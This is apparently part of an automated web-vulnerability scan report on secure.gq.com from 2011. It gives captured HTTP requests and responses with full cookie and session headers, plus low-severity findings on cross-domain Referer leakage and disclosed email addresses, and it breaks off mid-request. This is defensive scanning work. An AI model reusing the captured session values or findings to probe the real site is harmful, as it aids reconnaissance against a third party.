Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20s_depth%3D3%7C1320346697376%3B%20s_campaign%3D%7C1320346853377%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20sinvisit_m%3Dtrue%7C1320346853387%3B%20s_nr%3D1320345053391%7C1322937053391%3B%20s_eVar10%3D%7C1320346853400%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346853406%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346853441%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346853444%3B%20gpv_p5%3Dno%2520value%7C1320346853446%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525252Fquery%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fuser%2525252Flogin_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response 1

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:11 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40238


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input type="hidden" name="returnto" value="http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=" />
<fieldset class="returning">
<span>Already registered?</span>



<p class="emailMessage">
You can now use your email address to log in.
</p>

<div class="row username">
<label for="username" class="email">Email</label>
<input type="text" name="username" id="username" />
</div>
<div class="row password">
<label for="password">Password</label>
<input type="password" name="password" id="password" />
</div>
<div class="row rememberme">
<input type="checkbox" name="rememberme" id="rememberme" value="true" checked="yes" />
<label for="rememberme">Remember me</label>
</div>
<button type="submit" name="submit" id="submit">Login</button>
<p class="forgot"><a href="/user/forgot_password?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=">Forgot login information?</a></p>
</fieldset>
</form>


<div class="new">




































<div id="logForm_regCopy">
<p>Not registered yet? Sign up now to join the GQ.com community and sound off on everything from fashion and personal style to food, travel, gear, politics, sports, and more.</p>
</div>





<p class="register"><a href="/user/registration?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=">Register</a></p>
</div>




<div class="login_clear"></div>

</div>


</div>







</div>


<div id="yrail" class="py">

...[SNIP]...

Request 2

GET /user/login HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20s_depth%3D3%7C1320346697376%3B%20s_campaign%3D%7C1320346853377%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20sinvisit_m%3Dtrue%7C1320346853387%3B%20s_nr%3D1320345053391%7C1322937053391%3B%20s_eVar10%3D%7C1320346853400%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346853406%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346853441%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346853444%3B%20gpv_p5%3Dno%2520value%7C1320346853446%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525252Fquery%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fuser%2525252Flogin_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response 2

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:30 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 39974


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input type="hidden" name="returnto" value="/" />
<fieldset class="returning">
<span>Already registered?</span>



<p class="emailMessage">
You can now use your email address to log in.
</p>

<div class="row username">
<label for="username" class="email">Email</label>
<input type="text" name="username" id="username" />
</div>
<div class="row password">
<label for="password">Password</label>
<input type="password" name="password" id="password" />
</div>
<div class="row rememberme">
<input type="checkbox" name="rememberme" id="rememberme" value="true" checked="yes" />
<label for="rememberme">Remember me</label>
</div>
<button type="submit" name="submit" id="submit">Login</button>
<p class="forgot"><a href="/user/forgot_password?returnto=/">Forgot login information?</a></p>
</fieldset>
</form>


<div class="new">




































<div id="logForm_regCopy">
<p>Not registered yet? Sign up now to join the GQ.com community and sound off on everything from fashion and personal style to food, travel, gear, politics, sports, and more.</p>
</div>





<p class="register"><a href="/user/registration?returnto=/">Register</a></p>
</div>




<div class="login_clear"></div>

</div>


</div>







</div>


<div id="yrail" class="py">










<form name="search_form_rail" id="search_form_rail" action="/search" class="paginatorForm" method="get">
<div class="row">
<input type="hidden" name="qt" value="dismax" />
<input
...[SNIP]...

5. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


5.1. https://secure.gq.com/user/forgot_password  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/forgot_password

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /user/forgot_password?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit= HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/login
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D5%7C1320346890949%3B%20s_campaign%3D%7C1320346893019%3B%20sinvisit_m%3Dtrue%7C1320346893023%3B%20s_nr%3D1320345093026%7C1322937093026%3B%20s_eVar10%3D%7C1320346893031%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346893035%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346893062%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346893063%3B%20gpv_p5%3Dno%2520value%7C1320346893065%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Flogin%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fforgot_password%2525253Freturnto%2525253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525253Fqt%2525253Ddismax%25252526sort%2525253Dscore_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:42 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40529


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<div id="AMS_GQM_GLOBAL_NAVBAR">
<a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ magazine">Subscribe</a>
...[SNIP]...
<div id="subs-cover"><a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ Magazine" rel="nofollow">Subscribe</a>
...[SNIP]...
<li id="snav3"><a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ Magazine">Subscription</a>
...[SNIP]...
<li id="snav1"><a href="https://w1.buysub.com/loc/GQM/ATGFailsafeGift" target="_blank" title="Give a Subscription to GQ Magazine as a Gift">Give a gift</a>
...[SNIP]...
<li id="snav2"><a href="https://w1.buysub.com/servlet/CSGateway?cds_mag_code=GQM" target="_blank" title="Renew your Subscription to GQ Magazine">Renew</a>
...[SNIP]...
<li id="snav4"><a href="https://w1.buysub.com/servlet/CSGateway?cds_mag_code=GQM" target="_blank" title="Subscription Questions and Answers for GQ Magazine">Questions</a>
...[SNIP]...
<div id="AMS_GQM_GLOBAL_HEADERCALLOUT">
<a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ Magazine" rel="nofollow"><img src="/images/ecom/failsafe/GQM_header_callout.jpg" alt="Subscribe to GQ" border="0" />
...[SNIP]...
</div>


<img src="https://view.atdmt.com/action/MSFT_CondeNet_AE_ExtData/v3/atc1.gq/atc2.user/atc3.forgot_password/" width="1" height="1" border="0" alt="msext" />


</div>
...[SNIP]...

5.2. https://secure.gq.com/user/registration  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /user/registration?returnto= HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/forgot_password?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D6%7C1320346894887%3B%20s_campaign%3D%7C1320346917900%3B%20sinvisit_m%3Dtrue%7C1320346917903%3B%20s_nr%3D1320345117907%7C1322937117907%3B%20s_eVar10%3D%7C1320346917919%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346917924%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346917956%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346917958%3B%20gpv_p5%3Dno%2520value%7C1320346917960%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fforgot_password%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fregistration%2525253Freturnto%2525253D_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:32:07 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 83026


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<div id="AMS_GQM_GLOBAL_NAVBAR">
<a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ magazine">Subscribe</a>
...[SNIP]...
<div id="subs-cover"><a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ Magazine" rel="nofollow">Subscribe</a>
...[SNIP]...
<li id="snav3"><a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ Magazine">Subscription</a>
...[SNIP]...
<li id="snav1"><a href="https://w1.buysub.com/loc/GQM/ATGFailsafeGift" target="_blank" title="Give a Subscription to GQ Magazine as a Gift">Give a gift</a>
...[SNIP]...
<li id="snav2"><a href="https://w1.buysub.com/servlet/CSGateway?cds_mag_code=GQM" target="_blank" title="Renew your Subscription to GQ Magazine">Renew</a>
...[SNIP]...
<li id="snav4"><a href="https://w1.buysub.com/servlet/CSGateway?cds_mag_code=GQM" target="_blank" title="Subscription Questions and Answers for GQ Magazine">Questions</a>
...[SNIP]...
<div id="AMS_GQM_GLOBAL_HEADERCALLOUT">
<a href="https://w1.buysub.com/loc/GQM/ATGFailsafe" target="_blank" title="Subscribe to GQ Magazine" rel="nofollow"><img src="/images/ecom/failsafe/GQM_header_callout.jpg" alt="Subscribe to GQ" border="0" />
...[SNIP]...
<img src="/images/ecom/failsafe/spacer.gif" alt="Subscribe to GQ" class="magoffer" />
<img src="https://subscribe.condenet.com/images_covers/cover_gq_100.jpg" alt="Subscribe to GQ" class="magcov" />
</div>
...[SNIP]...
</div>


<img src="https://view.atdmt.com/action/MSFT_CondeNet_AE_ExtData/v3/atc1.gq/atc2.user/atc3.registration/" width="1" height="1" border="0" alt="msext" />


</div>
...[SNIP]...

6. Email addresses disclosed  previous  next
There are 10 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


6.1. https://secure.gq.com/atg/registry/RepositoryTargeters/GQM/GQM_global_rightRail_B  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /atg/registry/RepositoryTargeters/GQM/GQM_global_rightRail_B

Issue detail

The following email address was disclosed in the response:

Request

GET /atg/registry/RepositoryTargeters/GQM/GQM_global_rightRail_B HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 04 Nov 2011 05:47:11 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:37 GMT
ETag: "b077-9a58-4b032e82d9f40"
Accept-Ranges: bytes
Content-Length: 39512
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<!-
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.2. https://secure.gq.com/css/i/global/ad_choices_arrow.png  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /css/i/global/ad_choices_arrow.png

Issue detail

The following email address was disclosed in the response:

Request

GET /css/i/global/ad_choices_arrow.png HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/login
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20s_depth%3D3%7C1320346697376%3B%20s_campaign%3D%7C1320346853377%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20sinvisit_m%3Dtrue%7C1320346853387%3B%20s_nr%3D1320345053391%7C1322937053391%3B%20s_eVar10%3D%7C1320346853400%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346853406%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346853441%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346853444%3B%20gpv_p5%3Dno%2520value%7C1320346853446%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525252Fquery%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fuser%2525252Flogin_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 404 Not Found
Date: Thu, 03 Nov 2011 18:31:15 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:37 GMT
ETag: "b077-9a58-4b032e82d9f40"
Accept-Ranges: bytes
Content-Length: 39512
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<!-
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.3. https://secure.gq.com/css/i/global/form.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /css/i/global/form.html

Issue detail

The following email address was disclosed in the response:

Request

GET /css/i/global/form.html HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 04 Nov 2011 05:46:39 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:37 GMT
ETag: "b077-9a58-4b032e82d9f40"
Accept-Ranges: bytes
Content-Length: 39512
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<!-
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.4. https://secure.gq.com/registration  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /registration

Issue detail

The following email address was disclosed in the response:

Request

GET /registration HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 04 Nov 2011 05:47:08 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:37 GMT
ETag: "b077-9a58-4b032e82d9f40"
Accept-Ranges: bytes
Content-Length: 39512
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<!-
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.5. https://secure.gq.com/services/newsletters  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /services/newsletters

Issue detail

The following email address was disclosed in the response:

Request

GET /services/newsletters HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 04 Nov 2011 05:46:33 GMT
Server: Resin/3.1.6
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Language: en
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Content-Length: 88899


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.6. https://secure.gq.com/services/newsletters/demographics  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /services/newsletters/demographics

Issue detail

The following email addresses were disclosed in the response:

Request

GET /services/newsletters/demographics HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 04 Nov 2011 05:46:35 GMT
Server: Resin/3.1.6
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Language: en
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Content-Length: 84297


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<p class="tip">Valid format: yourname@yourisp.com</p>
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.7. https://secure.gq.com/user  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user

Issue detail

The following email address was disclosed in the response:

Request

GET /user HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 04 Nov 2011 05:47:08 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:37 GMT
ETag: "b077-9a58-4b032e82d9f40"
Accept-Ranges: bytes
Content-Length: 39512
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<!-
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.8. https://secure.gq.com/user/forgot_password  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/forgot_password

Issue detail

The following email address was disclosed in the response:

Request

GET /user/forgot_password?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit= HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/login
